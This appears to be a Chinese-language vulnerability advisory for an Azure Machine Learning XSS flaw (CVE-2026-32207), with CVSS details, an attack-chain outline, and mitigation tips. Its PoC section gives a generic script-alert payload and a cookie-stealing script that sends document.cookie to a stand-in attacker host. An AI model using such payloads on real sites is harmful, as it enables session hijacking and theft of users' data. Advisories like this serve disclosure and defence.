CVE-2026-32207 Azure Machine Learning 存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2026-32207

漏洞类型

跨站脚本 (XSS)

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Azure Machine Learning

漏洞概述

Azure Machine Learning 存在跨站脚本漏洞，由于网页生成时对输入的中和处理不当。未经授权的攻击者可诱导用户交互，利用该漏洞执行网络欺骗攻击。成功利用可能导致敏感信息泄露、数据完整性破坏及服务不可用，对用户安全构成严重威胁。

技术细节

该漏洞位于Azure Machine Learning的Web接口处理逻辑中。攻击者无需预先认证即可构造包含恶意JavaScript脚本的特定请求。当受害者被诱骗访问并渲染该恶意页面时，浏览器会解析注入的Payload。由于缺乏有效的输出编码，攻击者可借此窃取Session Cookie或执行任意操作，进而接管用户会话。CVSS评分8.8，表明其具有极高的机密性、完整性和可用性影响。

攻击链分析

STEP 1

侦察

攻击者识别出Azure Machine Learning服务中存在未经过滤的输入端点。

STEP 2

载荷制作

攻击者构造包含恶意JavaScript代码的URL或数据包，旨在窃取凭证或执行欺骗。

STEP 3

传递

通过钓鱼邮件或即时通讯工具，诱导受害者点击恶意链接。

STEP 4

利用

受害者访问链接后，浏览器在Azure Machine Learning上下文中执行恶意脚本。

STEP 5

达成目标

攻击者获取受害者Session信息，冒充身份进行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-32207: XSS in Azure Machine Learning -->
<!-- The attacker crafts a malicious URL with a payload -->

<!-- Example 1: Basic Alert (Confirmation of Vulnerability) -->
https://ml.azure.com/vulnerable_endpoint?param=<script>alert(1)</script>

<!-- Example 2: Cookie Stealer (Data Exfiltration) -->
<!-- Inject the following script to send cookies to attacker server -->
<script>
  var img = new Image();
  img.src = "http://attacker-controlled.com/collect?c=" + escape(document.cookie);
</script>

影响范围

Azure Machine Learning < 2026-05-07

防御指南

临时缓解措施

在官方修复补丁完全部署前，建议用户提高警惕，不要点击来源不明的链接。管理员应监控Azure Machine Learning服务的异常流量，并限制受影响账户的权限。